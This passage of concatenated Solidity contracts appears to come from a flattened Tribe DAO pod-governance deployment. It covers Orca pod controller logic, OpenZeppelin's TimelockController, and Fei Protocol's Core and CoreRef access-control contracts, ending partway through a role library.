* @param to The account address sending the membership token
* @param ids An array of membership token ids to be transfered
* @param amounts The amount of each membership token type to transfer
* @param data Passes a flag for an initial creation event
*/
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal override {
// use first id to lookup controller
address controller = memberController[ids[0]];
require(controller != address(0), "Pod doesn't exist");
for (uint256 i = 0; i < ids.length; i += 1) {
// check if recipient is already member
if (to != address(0)) {
require(balanceOf(to, ids[i]) == 0, "User is already member");
}
// verify all ids use same controller
require(
memberController[ids[i]] == controller,
"Ids have different controllers"
);
}
// perform orca token transfer validations
IControllerBase(controller).beforeTokenTransfer(
operator,
from,
to,
ids,
amounts,
data
);
}
}
pragma solidity 0.8.7;
/* solhint-disable indent */
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "./interfaces/IControllerV1.sol";
import "./interfaces/IMemberToken.sol";
import "./interfaces/IControllerRegistry.sol";
import "./SafeTeller.sol";
import "./ens/IPodEnsRegistrar.sol";
contract ControllerV1 is IControllerV1, SafeTeller, Ownable {
event CreatePod(uint256 podId, address safe, address admin, string ensName);
event UpdatePodAdmin(uint256 podId, address admin);
IMemberToken public immutable memberToken;
IControllerRegistry public immutable controllerRegistry;
IPodEnsRegistrar public podEnsRegistrar;
string public constant VERSION = "1.2.0";
mapping(address => uint256) public safeToPodId;
mapping(uint256 => address) public podIdToSafe;
mapping(uint256 => address) public podAdmin;
mapping(uint256 => bool) public isTransferLocked;
uint8 internal constant CREATE_EVENT = 0x01;
/**
* @dev Will instantiate safe teller with gnosis master and proxy addresses
* @param _memberToken The address of the MemberToken contract
* @param _controllerRegistry The address of the ControllerRegistry contract
* @param _proxyFactoryAddress The proxy factory address
* @param _gnosisMasterAddress The gnosis master address
*/
constructor(
address _memberToken,
address _controllerRegistry,
address _proxyFactoryAddress,
address _gnosisMasterAddress,
address _podEnsRegistrar,
address _fallbackHandlerAddress
)
SafeTeller(
_proxyFactoryAddress,
_gnosisMasterAddress,
_fallbackHandlerAddress
)
{
require(_memberToken != address(0), "Invalid address");
require(_controllerRegistry != address(0), "Invalid address");
require(_proxyFactoryAddress != address(0), "Invalid address");
require(_gnosisMasterAddress != address(0), "Invalid address");
require(_podEnsRegistrar != address(0), "Invalid address");
require(_fallbackHandlerAddress != address(0), "Invalid address");
memberToken = IMemberToken(_memberToken);
controllerRegistry = IControllerRegistry(_controllerRegistry);
podEnsRegistrar = IPodEnsRegistrar(_podEnsRegistrar);
}
function updatePodEnsRegistrar(address _podEnsRegistrar)
external
override
onlyOwner
{
require(_podEnsRegistrar != address(0), "Invalid address");
podEnsRegistrar = IPodEnsRegistrar(_podEnsRegistrar);
}
/**
* @param _members The addresses of the members of the pod
* @param threshold The number of members that are required to sign a transaction
* @param _admin The address of the pod admin
* @param _label label hash of pod name (i.e labelhash('mypod'))
* @param _ensString string of pod ens name (i.e.'mypod.pod.xyz')
*/
function createPod(
address[] memory _members,
uint256 threshold,
address _admin,
bytes32 _label,
string memory _ensString,
uint256 expectedPodId,
string memory _imageUrl
) external override {
address safe = createSafe(_members, threshold);
_createPod(
_members,
safe,
_admin,
_label,
_ensString,
expectedPodId,
_imageUrl
);
}
/**
* @dev Used to create a pod with an existing safe
* @dev Will automatically distribute membership NFTs to current safe members
* @param _admin The address of the pod admin
* @param _safe The address of existing safe
* @param _label label hash of pod name (i.e labelhash('mypod'))
* @param _ensString string of pod ens name (i.e.'mypod.pod.xyz')
*/
function createPodWithSafe(
address _admin,
address _safe,
bytes32 _label,
string memory _ensString,
uint256 expectedPodId,
string memory _imageUrl
) external override {
require(_safe != address(0), "invalid safe address");
require(safeToPodId[_safe] == 0, "safe already in use");
require(isSafeModuleEnabled(_safe), "safe module must be enabled");
require(
isSafeMember(_safe, msg.sender) || msg.sender == _safe,
"caller must be safe or member"
);
address[] memory members = getSafeMembers(_safe);
_createPod(
members,
_safe,
_admin,
_label,
_ensString,
expectedPodId,
_imageUrl
);
}
/**
* @param _members The addresses of the members of the pod
* @param _admin The address of the pod admin
* @param _safe The address of existing safe
* @param _label label hash of pod name (i.e labelhash('mypod'))
* @param _ensString string of pod ens name (i.e.'mypod.pod.xyz')
*/
function _createPod(
address[] memory _members,
address _safe,
address _admin,
bytes32 _label,
string memory _ensString,
uint256 expectedPodId,
string memory _imageUrl
) private {
// add create event flag to token data
bytes memory data = new bytes(1);
data[0] = bytes1(uint8(CREATE_EVENT));
uint256 podId = memberToken.createPod(_members, data);
// The imageUrl has an expected pod ID, but we need to make sure it aligns with the actual pod ID
require(podId == expectedPodId, "pod id didn't match, try again");
emit CreatePod(podId, _safe, _admin, _ensString);
emit UpdatePodAdmin(podId, _admin);
if (_admin != address(0)) {
// will lock safe modules if admin exists
setModuleLock(_safe, true);
podAdmin[podId] = _admin;
}
podIdToSafe[podId] = _safe;
safeToPodId[_safe] = podId;
// setup pod ENS
address reverseRegistrar = podEnsRegistrar.registerPod(
_label,
_safe,
msg.sender
);
setupSafeReverseResolver(_safe, reverseRegistrar, _ensString);
// Node is how ENS identifies names, we need that to setText
bytes32 node = podEnsRegistrar.getEnsNode(_label);
podEnsRegistrar.setText(node, "avatar", _imageUrl);
podEnsRegistrar.setText(node, "podId", Strings.toString(podId));
}
/**
* @dev Allows admin to unlock the safe modules and allow them to be edited by members
* @param _podId The id number of the pod
* @param _isLocked true - pod modules cannot be added/removed
*/
function setPodModuleLock(uint256 _podId, bool _isLocked)
external
override
{
require(
msg.sender == podAdmin[_podId],
"Must be admin to set module lock"
);
setModuleLock(podIdToSafe[_podId], _isLocked);
}
/**
* @param _podId The id number of the pod
* @param _newAdmin The address of the new pod admin
*/
function updatePodAdmin(uint256 _podId, address _newAdmin)
external
override
{
address admin = podAdmin[_podId];
address safe = podIdToSafe[_podId];
require(safe != address(0), "Pod doesn't exist");
// if there is no admin it can only be added by safe
if (admin == address(0)) {
require(msg.sender == safe, "Only safe can add new admin");
} else {
require(msg.sender == admin, "Only admin can update admin");
}
// set module lock to true for non zero _newAdmin
setModuleLock(safe, _newAdmin != address(0));
podAdmin[_podId] = _newAdmin;
emit UpdatePodAdmin(_podId, _newAdmin);
}
/**
* @param _podId The id number of the pod
* @param _isTransferLocked The address of the new pod admin
*/
function setPodTransferLock(uint256 _podId, bool _isTransferLocked)
external
override
{
address admin = podAdmin[_podId];
address safe = podIdToSafe[_podId];
// if no pod admin it can only be set by safe
if (admin == address(0)) {
require(msg.sender == safe, "Only safe can set transfer lock");
} else {
// if admin then it can be set by admin or safe
require(
msg.sender == admin || msg.sender == safe,
"Only admin or safe can set transfer lock"
);
}
// set podid to transfer lock bool
isTransferLocked[_podId] = _isTransferLocked;
}
/**
* @dev This will nullify all pod state on this controller
* @dev Update state on _newController
* @dev Update controller to _newController in Safe and MemberToken
* @param _podId The id number of the pod
* @param _newController The address of the new pod controller
* @param _prevModule The module that points to the orca module in the safe's ModuleManager linked list
*/
function migratePodController(
uint256 _podId,
address _newController,
address _prevModule
) external override {
require(_newController != address(0), "Invalid address");
require(
controllerRegistry.isRegistered(_newController),
"Controller not registered"
);
address admin = podAdmin[_podId];
address safe = podIdToSafe[_podId];
require(
msg.sender == admin || msg.sender == safe,
"User not authorized"
);
IControllerBase newController = IControllerBase(_newController);
// nullify current pod state
podAdmin[_podId] = address(0);
podIdToSafe[_podId] = address(0);
safeToPodId[safe] = 0;
// update controller in MemberToken
memberToken.migrateMemberController(_podId, _newController);
// update safe module to _newController
migrateSafeTeller(safe, _newController, _prevModule);
// update pod state in _newController
newController.updatePodState(_podId, admin, safe);
}
/**
* @dev This is called by another version of controller to migrate a pod to this version
* @dev Will only accept calls from registered controllers
* @dev Can only be called once.
* @param _podId The id number of the pod
* @param _podAdmin The address of the pod admin
* @param _safeAddress The address of the safe
*/
function updatePodState(
uint256 _podId,
address _podAdmin,
address _safeAddress
) external override {
require(_safeAddress != address(0), "Invalid address");
require(
controllerRegistry.isRegistered(msg.sender),
"Controller not registered"
);
require(
podAdmin[_podId] == address(0) &&
podIdToSafe[_podId] == address(0) &&
safeToPodId[_safeAddress] == 0,
"Pod already exists"
);
// if there is a pod admin, set state and lock modules
if (_podAdmin != address(0)) {
podAdmin[_podId] = _podAdmin;
setModuleLock(_safeAddress, true);
}
podIdToSafe[_podId] = _safeAddress;
safeToPodId[_safeAddress] = _podId;
setSafeTellerAsGuard(_safeAddress);
emit UpdatePodAdmin(_podId, _podAdmin);
}
/**
* @param operator The address that initiated the action
* @param from The address sending the membership token
* @param to The address recieveing the membership token
* @param ids An array of membership token ids to be transfered
* @param data Passes a flag for an initial creation event
*/
function beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory,
bytes memory data
) external override {
require(msg.sender == address(memberToken), "Not Authorized");
// if create event than side effects have been pre-handled
// only recognise data flags from this controller
if (operator == address(this) && uint8(data[0]) == CREATE_EVENT) return;
for (uint256 i = 0; i < ids.length; i += 1) {
uint256 podId = ids[i];
address safe = podIdToSafe[podId];
address admin = podAdmin[podId];
if (from == address(0)) {
// mint event
// there are no rules operator must be admin, safe or controller
require(
operator == safe ||
operator == admin ||
operator == address(this),
"No Rules Set"
);
onMint(to, safe);
} else if (to == address(0)) {
// burn event
// there are no rules operator must be admin, safe or controller
require(
operator == safe ||
operator == admin ||
operator == address(this),
"No Rules Set"
);
onBurn(from, safe);
} else {
// pod cannot be locked
require(
isTransferLocked[podId] == false,
"Pod Is Transfer Locked"
);
// transfer event
onTransfer(from, to, safe);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.6.0) (governance/TimelockController.sol)
pragma solidity ^0.8.0;
import "../access/AccessControl.sol";
import "../token/ERC721/IERC721Receiver.sol";
import "../token/ERC1155/IERC1155Receiver.sol";
/**
* @dev Contract module which acts as a timelocked controller. When set as the
* owner of an `Ownable` smart contract, it enforces a timelock on all
* `onlyOwner` maintenance operations. This gives time for users of the
* controlled contract to exit before a potentially dangerous maintenance
* operation is applied.
*
* By default, this contract is self administered, meaning administration tasks
* have to go through the timelock process. The proposer (resp executor) role
* is in charge of proposing (resp executing) operations. A common use case is
* to position this {TimelockController} as the owner of a smart contract, with
* a multisig or a DAO as the sole proposer.
*
* _Available since v3.3._
*/
contract TimelockController is AccessControl, IERC721Receiver, IERC1155Receiver {
bytes32 public constant TIMELOCK_ADMIN_ROLE = keccak256("TIMELOCK_ADMIN_ROLE");
bytes32 public constant PROPOSER_ROLE = keccak256("PROPOSER_ROLE");
bytes32 public constant EXECUTOR_ROLE = keccak256("EXECUTOR_ROLE");
bytes32 public constant CANCELLER_ROLE = keccak256("CANCELLER_ROLE");
uint256 internal constant _DONE_TIMESTAMP = uint256(1);
mapping(bytes32 => uint256) private _timestamps;
uint256 private _minDelay;
/**
* @dev Emitted when a call is scheduled as part of operation `id`.
*/
event CallScheduled(
bytes32 indexed id,
uint256 indexed index,
address target,
uint256 value,
bytes data,
bytes32 predecessor,
uint256 delay
);
/**
* @dev Emitted when a call is performed as part of operation `id`.
*/
event CallExecuted(bytes32 indexed id, uint256 indexed index, address target, uint256 value, bytes data);
/**
* @dev Emitted when operation `id` is cancelled.
*/
event Cancelled(bytes32 indexed id);
/**
* @dev Emitted when the minimum delay for future operations is modified.
*/
event MinDelayChange(uint256 oldDuration, uint256 newDuration);
/**
* @dev Initializes the contract with a given `minDelay`, and a list of
* initial proposers and executors. The proposers receive both the
* proposer and the canceller role (for backward compatibility). The
* executors receive the executor role.
*
* NOTE: At construction, both the deployer and the timelock itself are
* administrators. This helps further configuration of the timelock by the
* deployer. After configuration is done, it is recommended that the
* deployer renounces its admin position and relies on timelocked
* operations to perform future maintenance.
*/
constructor(
uint256 minDelay,
address[] memory proposers,
address[] memory executors
) {
_setRoleAdmin(TIMELOCK_ADMIN_ROLE, TIMELOCK_ADMIN_ROLE);
_setRoleAdmin(PROPOSER_ROLE, TIMELOCK_ADMIN_ROLE);
_setRoleAdmin(EXECUTOR_ROLE, TIMELOCK_ADMIN_ROLE);
_setRoleAdmin(CANCELLER_ROLE, TIMELOCK_ADMIN_ROLE);
// deployer + self administration
_setupRole(TIMELOCK_ADMIN_ROLE, _msgSender());
_setupRole(TIMELOCK_ADMIN_ROLE, address(this));
// register proposers and cancellers
for (uint256 i = 0; i < proposers.length; ++i) {
_setupRole(PROPOSER_ROLE, proposers[i]);
_setupRole(CANCELLER_ROLE, proposers[i]);
}
// register executors
for (uint256 i = 0; i < executors.length; ++i) {
_setupRole(EXECUTOR_ROLE, executors[i]);
}
_minDelay = minDelay;
emit MinDelayChange(0, minDelay);
}
/**
* @dev Modifier to make a function callable only by a certain role. In
* addition to checking the sender's role, `address(0)` 's role is also
* considered. Granting a role to `address(0)` is equivalent to enabling
* this role for everyone.
*/
modifier onlyRoleOrOpenRole(bytes32 role) {
if (!hasRole(role, address(0))) {
_checkRole(role, _msgSender());
}
_;
}
/**
* @dev Contract might receive/hold ETH as part of the maintenance process.
*/
receive() external payable {}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, AccessControl) returns (bool) {
return interfaceId == type(IERC1155Receiver).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns whether an id correspond to a registered operation. This
* includes both Pending, Ready and Done operations.
*/
function isOperation(bytes32 id) public view virtual returns (bool pending) {
return getTimestamp(id) > 0;
}
/**
* @dev Returns whether an operation is pending or not.
*/
function isOperationPending(bytes32 id) public view virtual returns (bool pending) {
return getTimestamp(id) > _DONE_TIMESTAMP;
}
/**
* @dev Returns whether an operation is ready or not.
*/
function isOperationReady(bytes32 id) public view virtual returns (bool ready) {
uint256 timestamp = getTimestamp(id);
return timestamp > _DONE_TIMESTAMP && timestamp <= block.timestamp;
}
/**
* @dev Returns whether an operation is done or not.
*/
function isOperationDone(bytes32 id) public view virtual returns (bool done) {
return getTimestamp(id) == _DONE_TIMESTAMP;
}
/**
* @dev Returns the timestamp at with an operation becomes ready (0 for
* unset operations, 1 for done operations).
*/
function getTimestamp(bytes32 id) public view virtual returns (uint256 timestamp) {
return _timestamps[id];
}
/**
* @dev Returns the minimum delay for an operation to become valid.
*
* This value can be changed by executing an operation that calls `updateDelay`.
*/
function getMinDelay() public view virtual returns (uint256 duration) {
return _minDelay;
}
/**
* @dev Returns the identifier of an operation containing a single
* transaction.
*/
function hashOperation(
address target,
uint256 value,
bytes calldata data,
bytes32 predecessor,
bytes32 salt
) public pure virtual returns (bytes32 hash) {
return keccak256(abi.encode(target, value, data, predecessor, salt));
}
/**
* @dev Returns the identifier of an operation containing a batch of
* transactions.
*/
function hashOperationBatch(
address[] calldata targets,
uint256[] calldata values,
bytes[] calldata payloads,
bytes32 predecessor,
bytes32 salt
) public pure virtual returns (bytes32 hash) {
return keccak256(abi.encode(targets, values, payloads, predecessor, salt));
}
/**
* @dev Schedule an operation containing a single transaction.
*
* Emits a {CallScheduled} event.
*
* Requirements:
*
* - the caller must have the 'proposer' role.
*/
function schedule(
address target,
uint256 value,
bytes calldata data,
bytes32 predecessor,
bytes32 salt,
uint256 delay
) public virtual onlyRole(PROPOSER_ROLE) {
bytes32 id = hashOperation(target, value, data, predecessor, salt);
_schedule(id, delay);
emit CallScheduled(id, 0, target, value, data, predecessor, delay);
}
/**
* @dev Schedule an operation containing a batch of transactions.
*
* Emits one {CallScheduled} event per transaction in the batch.
*
* Requirements:
*
* - the caller must have the 'proposer' role.
*/
function scheduleBatch(
address[] calldata targets,
uint256[] calldata values,
bytes[] calldata payloads,
bytes32 predecessor,
bytes32 salt,
uint256 delay
) public virtual onlyRole(PROPOSER_ROLE) {
require(targets.length == values.length, "TimelockController: length mismatch");
require(targets.length == payloads.length, "TimelockController: length mismatch");
bytes32 id = hashOperationBatch(targets, values, payloads, predecessor, salt);
_schedule(id, delay);
for (uint256 i = 0; i < targets.length; ++i) {
emit CallScheduled(id, i, targets[i], values[i], payloads[i], predecessor, delay);
}
}
/**
* @dev Schedule an operation that is to becomes valid after a given delay.
*/
function _schedule(bytes32 id, uint256 delay) private {
require(!isOperation(id), "TimelockController: operation already scheduled");
require(delay >= getMinDelay(), "TimelockController: insufficient delay");
_timestamps[id] = block.timestamp + delay;
}
/**
* @dev Cancel an operation.
*
* Requirements:
*
* - the caller must have the 'canceller' role.
*/
function cancel(bytes32 id) public virtual onlyRole(CANCELLER_ROLE) {
require(isOperationPending(id), "TimelockController: operation cannot be cancelled");
delete _timestamps[id];
emit Cancelled(id);
}
/**
* @dev Execute an (ready) operation containing a single transaction.
*
* Emits a {CallExecuted} event.
*
* Requirements:
*
* - the caller must have the 'executor' role.
*/
// This function can reenter, but it doesn't pose a risk because _afterCall checks that the proposal is pending,
// thus any modifications to the operation during reentrancy should be caught.
// slither-disable-next-line reentrancy-eth
function execute(
address target,
uint256 value,
bytes calldata data,
bytes32 predecessor,
bytes32 salt
) public payable virtual onlyRoleOrOpenRole(EXECUTOR_ROLE) {
bytes32 id = hashOperation(target, value, data, predecessor, salt);
_beforeCall(id, predecessor);
_call(id, 0, target, value, data);
_afterCall(id);
}
/**
* @dev Execute an (ready) operation containing a batch of transactions.
*
* Emits one {CallExecuted} event per transaction in the batch.
*
* Requirements:
*
* - the caller must have the 'executor' role.
*/
function executeBatch(
address[] calldata targets,
uint256[] calldata values,
bytes[] calldata payloads,
bytes32 predecessor,
bytes32 salt
) public payable virtual onlyRoleOrOpenRole(EXECUTOR_ROLE) {
require(targets.length == values.length, "TimelockController: length mismatch");
require(targets.length == payloads.length, "TimelockController: length mismatch");
bytes32 id = hashOperationBatch(targets, values, payloads, predecessor, salt);
_beforeCall(id, predecessor);
for (uint256 i = 0; i < targets.length; ++i) {
_call(id, i, targets[i], values[i], payloads[i]);
}
_afterCall(id);
}
/**
* @dev Checks before execution of an operation's calls.
*/
function _beforeCall(bytes32 id, bytes32 predecessor) private view {
require(isOperationReady(id), "TimelockController: operation is not ready");
require(predecessor == bytes32(0) || isOperationDone(predecessor), "TimelockController: missing dependency");
}
/**
* @dev Checks after execution of an operation's calls.
*/
function _afterCall(bytes32 id) private {
require(isOperationReady(id), "TimelockController: operation is not ready");
_timestamps[id] = _DONE_TIMESTAMP;
}
/**
* @dev Execute an operation's call.
*
* Emits a {CallExecuted} event.
*/
function _call(
bytes32 id,
uint256 index,
address target,
uint256 value,
bytes calldata data
) private {
(bool success, ) = target.call{value: value}(data);
require(success, "TimelockController: underlying transaction reverted");
emit CallExecuted(id, index, target, value, data);
}
/**
* @dev Changes the minimum timelock duration for future operations.
*
* Emits a {MinDelayChange} event.
*
* Requirements:
*
* - the caller must be the timelock itself. This can only be achieved by scheduling and later executing
* an operation where the timelock is the target and the data is the ABI-encoded call to this function.
*/
function updateDelay(uint256 newDelay) external virtual {
require(msg.sender == address(this), "TimelockController: caller must be timelock");
emit MinDelayChange(_minDelay, newDelay);
_minDelay = newDelay;
}
/**
* @dev See {IERC721Receiver-onERC721Received}.
*/
function onERC721Received(
address,
address,
uint256,
bytes memory
) public virtual override returns (bytes4) {
return this.onERC721Received.selector;
}
/**
* @dev See {IERC1155Receiver-onERC1155Received}.
*/
function onERC1155Received(
address,
address,
uint256,
uint256,
bytes memory
) public virtual override returns (bytes4) {
return this.onERC1155Received.selector;
}
/**
* @dev See {IERC1155Receiver-onERC1155BatchReceived}.
*/
function onERC1155BatchReceived(
address,
address,
uint256[] memory,
uint256[] memory,
bytes memory
) public virtual override returns (bytes4) {
return this.onERC1155BatchReceived.selector;
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.4;
import "./ICoreRef.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
/// @title A Reference to Core
/// @author Fei Protocol
/// @notice defines some modifiers and utilities around interacting with Core
abstract contract CoreRef is ICoreRef, Pausable {
ICore private immutable _core;
IFei private immutable _fei;
IERC20 private immutable _tribe;
/// @notice a role used with a subset of governor permissions for this contract only
bytes32 public override CONTRACT_ADMIN_ROLE;
constructor(address coreAddress) {
_core = ICore(coreAddress);
_fei = ICore(coreAddress).fei();
_tribe = ICore(coreAddress).tribe();
_setContractAdminRole(ICore(coreAddress).GOVERN_ROLE());
}
function _initialize(address) internal {} // no-op for backward compatibility
modifier ifMinterSelf() {
if (_core.isMinter(address(this))) {
_;
}
}
modifier onlyMinter() {
require(_core.isMinter(msg.sender), "CoreRef: Caller is not a minter");
_;
}
modifier onlyBurner() {
require(_core.isBurner(msg.sender), "CoreRef: Caller is not a burner");
_;
}
modifier onlyPCVController() {
require(_core.isPCVController(msg.sender), "CoreRef: Caller is not a PCV controller");
_;
}
modifier onlyGovernorOrAdmin() {
require(
_core.isGovernor(msg.sender) || isContractAdmin(msg.sender),
"CoreRef: Caller is not a governor or contract admin"
);
_;
}
modifier onlyGovernor() {
require(_core.isGovernor(msg.sender), "CoreRef: Caller is not a governor");
_;
}
modifier onlyGuardianOrGovernor() {
require(
_core.isGovernor(msg.sender) || _core.isGuardian(msg.sender),
"CoreRef: Caller is not a guardian or governor"
);
_;
}
modifier isGovernorOrGuardianOrAdmin() {
require(
_core.isGovernor(msg.sender) || _core.isGuardian(msg.sender) || isContractAdmin(msg.sender),
"CoreRef: Caller is not governor or guardian or admin"
);
_;
}
// Named onlyTribeRole to prevent collision with OZ onlyRole modifier
modifier onlyTribeRole(bytes32 role) {
require(_core.hasRole(role, msg.sender), "UNAUTHORIZED");
_;
}
// Modifiers to allow any combination of roles
modifier hasAnyOfTwoRoles(bytes32 role1, bytes32 role2) {
require(_core.hasRole(role1, msg.sender) || _core.hasRole(role2, msg.sender), "UNAUTHORIZED");
_;
}
modifier hasAnyOfThreeRoles(
bytes32 role1,
bytes32 role2,
bytes32 role3
) {
require(
_core.hasRole(role1, msg.sender) || _core.hasRole(role2, msg.sender) || _core.hasRole(role3, msg.sender),
"UNAUTHORIZED"
);
_;
}
modifier hasAnyOfFourRoles(
bytes32 role1,
bytes32 role2,
bytes32 role3,
bytes32 role4
) {
require(
_core.hasRole(role1, msg.sender) ||
_core.hasRole(role2, msg.sender) ||
_core.hasRole(role3, msg.sender) ||
_core.hasRole(role4, msg.sender),
"UNAUTHORIZED"
);
_;
}
modifier hasAnyOfFiveRoles(
bytes32 role1,
bytes32 role2,
bytes32 role3,
bytes32 role4,
bytes32 role5
) {
require(
_core.hasRole(role1, msg.sender) ||
_core.hasRole(role2, msg.sender) ||
_core.hasRole(role3, msg.sender) ||
_core.hasRole(role4, msg.sender) ||
_core.hasRole(role5, msg.sender),
"UNAUTHORIZED"
);
_;
}
modifier hasAnyOfSixRoles(
bytes32 role1,
bytes32 role2,
bytes32 role3,
bytes32 role4,
bytes32 role5,
bytes32 role6
) {
require(
_core.hasRole(role1, msg.sender) ||
_core.hasRole(role2, msg.sender) ||
_core.hasRole(role3, msg.sender) ||
_core.hasRole(role4, msg.sender) ||
_core.hasRole(role5, msg.sender) ||
_core.hasRole(role6, msg.sender),
"UNAUTHORIZED"
);
_;
}
modifier onlyFei() {
require(msg.sender == address(_fei), "CoreRef: Caller is not FEI");
_;
}
/// @notice sets a new admin role for this contract
function setContractAdminRole(bytes32 newContractAdminRole) external override onlyGovernor {
_setContractAdminRole(newContractAdminRole);
}
/// @notice returns whether a given address has the admin role for this contract
function isContractAdmin(address _admin) public view override returns (bool) {
return _core.hasRole(CONTRACT_ADMIN_ROLE, _admin);
}
/// @notice set pausable methods to paused
function pause() public override onlyGuardianOrGovernor {
_pause();
}
/// @notice set pausable methods to unpaused
function unpause() public override onlyGuardianOrGovernor {
_unpause();
}
/// @notice address of the Core contract referenced
/// @return ICore implementation address
function core() public view override returns (ICore) {
return _core;
}
/// @notice address of the Fei contract referenced by Core
/// @return IFei implementation address
function fei() public view override returns (IFei) {
return _fei;
}
/// @notice address of the Tribe contract referenced by Core
/// @return IERC20 implementation address
function tribe() public view override returns (IERC20) {
return _tribe;
}
/// @notice fei balance of contract
/// @return fei amount held
function feiBalance() public view override returns (uint256) {
return _fei.balanceOf(address(this));
}
/// @notice tribe balance of contract
/// @return tribe amount held
function tribeBalance() public view override returns (uint256) {
return _tribe.balanceOf(address(this));
}
function _burnFeiHeld() internal {
_fei.burn(feiBalance());
}
function _mintFei(address to, uint256 amount) internal virtual {
if (amount != 0) {
_fei.mint(to, amount);
}
}
function _setContractAdminRole(bytes32 newContractAdminRole) internal {
bytes32 oldContractAdminRole = CONTRACT_ADMIN_ROLE;
CONTRACT_ADMIN_ROLE = newContractAdminRole;
emit ContractAdminRoleUpdate(oldContractAdminRole, newContractAdminRole);
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.4;
import "./IPermissions.sol";
import "../fei/IFei.sol";
/// @title Core Interface
/// @author Fei Protocol
interface ICore is IPermissions {
// ----------- Events -----------
event FeiUpdate(address indexed _fei);
event TribeUpdate(address indexed _tribe);
event GenesisGroupUpdate(address indexed _genesisGroup);
event TribeAllocation(address indexed _to, uint256 _amount);
event GenesisPeriodComplete(uint256 _timestamp);
// ----------- Governor only state changing api -----------
function init() external;
// ----------- Governor only state changing api -----------
function setFei(address token) external;
function setTribe(address token) external;
function allocateTribe(address to, uint256 amount) external;
// ----------- Getters -----------
function fei() external view returns (IFei);
function tribe() external view returns (IERC20);
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/proxy/utils/Initializable.sol";
import "./Permissions.sol";
import "./ICore.sol";
import "../fei/Fei.sol";
import "../tribe/Tribe.sol";
/// @title Source of truth for Fei Protocol
/// @author Fei Protocol
/// @notice maintains roles, access control, fei, tribe, genesisGroup, and the TRIBE treasury
contract Core is ICore, Permissions, Initializable {
/// @notice the address of the FEI contract
IFei public override fei;
/// @notice the address of the TRIBE contract
IERC20 public override tribe;
function init() external override initializer {
_setupGovernor(msg.sender);
Fei _fei = new Fei(address(this));
_setFei(address(_fei));
Tribe _tribe = new Tribe(address(this), msg.sender);
_setTribe(address(_tribe));
}
/// @notice sets Fei address to a new address
/// @param token new fei address
function setFei(address token) external override onlyGovernor {
_setFei(token);
}
/// @notice sets Tribe address to a new address
/// @param token new tribe address
function setTribe(address token) external override onlyGovernor {
_setTribe(token);
}
/// @notice sends TRIBE tokens from treasury to an address
/// @param to the address to send TRIBE to
/// @param amount the amount of TRIBE to send
function allocateTribe(address to, uint256 amount) external override onlyGovernor {
IERC20 _tribe = tribe;
require(_tribe.balanceOf(address(this)) >= amount, "Core: Not enough Tribe");
_tribe.transfer(to, amount);
emit TribeAllocation(to, amount);
}
function _setFei(address token) internal {
fei = IFei(token);
emit FeiUpdate(token);
}
function _setTribe(address token) internal {
tribe = IERC20(token);
emit TribeUpdate(token);
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.4;
/**
@title Tribe DAO ACL Roles
@notice Holds a complete list of all roles which can be held by contracts inside Tribe DAO.
Roles are broken up into 3 categories:
* Major Roles - the most powerful roles in the Tribe DAO which should be carefully managed.
* Admin Roles - roles with management capability over critical functionality. Should only be held by automated or optimistic mechanisms
* Minor Roles - operational roles. May be held or managed by shorter optimistic timelocks or trusted multisigs.
*/
library TribeRoles {
/*///////////////////////////////////////////////////////////////
Major Roles
//////////////////////////////////////////////////////////////*/
/// @notice the ultimate role of Tribe. Controls all other roles and protocol functionality.
bytes32 internal constant GOVERNOR = keccak256("GOVERN_ROLE");
/// @notice the protector role of Tribe. Admin of pause, veto, revoke, and minor roles
bytes32 internal constant GUARDIAN = keccak256("GUARDIAN_ROLE");
/// @notice the role which can arbitrarily move PCV in any size from any contract
bytes32 internal constant PCV_CONTROLLER = keccak256("PCV_CONTROLLER_ROLE");
/// @notice can mint FEI arbitrarily
bytes32 internal constant MINTER = keccak256("MINTER_ROLE");
/// @notice Manages lower level - Admin and Minor - roles. Able to grant and revoke these
bytes32 internal constant ROLE_ADMIN = keccak256("ROLE_ADMIN");
/*///////////////////////////////////////////////////////////////
Admin Roles
//////////////////////////////////////////////////////////////*/
/// @notice has access to all admin functionality on pods
bytes32 internal constant POD_ADMIN = keccak256("POD_ADMIN");
/// @notice capable of granting and revoking other TribeRoles from having veto power over a pod
bytes32 internal constant POD_VETO_ADMIN = keccak256("POD_VETO_ADMIN");
/// @notice can manage the majority of Tribe protocol parameters. Sets boundaries for MINOR_PARAM_ROLE.
bytes32 internal constant PARAMETER_ADMIN = keccak256("PARAMETER_ADMIN");
/// @notice manages the Collateralization Oracle as well as other protocol oracles.
bytes32 internal constant ORACLE_ADMIN = keccak256("ORACLE_ADMIN_ROLE");
/// @notice manages TribalChief incentives and related functionality.
bytes32 internal constant TRIBAL_CHIEF_ADMIN = keccak256("TRIBAL_CHIEF_ADMIN_ROLE");
/// @notice admin of PCVGuardian
bytes32 internal constant PCV_GUARDIAN_ADMIN = keccak256("PCV_GUARDIAN_ADMIN_ROLE");
/// @notice admin of all Minor Roles
bytes32 internal constant MINOR_ROLE_ADMIN = keccak256("MINOR_ROLE_ADMIN");
/// @notice admin of the Fuse protocol
bytes32 internal constant FUSE_ADMIN = keccak256("FUSE_ADMIN");
/// @notice capable of vetoing DAO votes or optimistic timelocks
bytes32 internal constant VETO_ADMIN = keccak256("VETO_ADMIN");
/// @notice capable of setting FEI Minters within global rate limits and caps
bytes32 internal constant MINTER_ADMIN = keccak256("MINTER_ADMIN");
/// @notice manages the constituents of Optimistic Timelocks, including Proposers and Executors
bytes32 internal constant OPTIMISTIC_ADMIN = keccak256("OPTIMISTIC_ADMIN");
/// @notice manages meta-governance actions, like voting & delegating.
/// Also used to vote for gauge weights & similar liquid governance things.
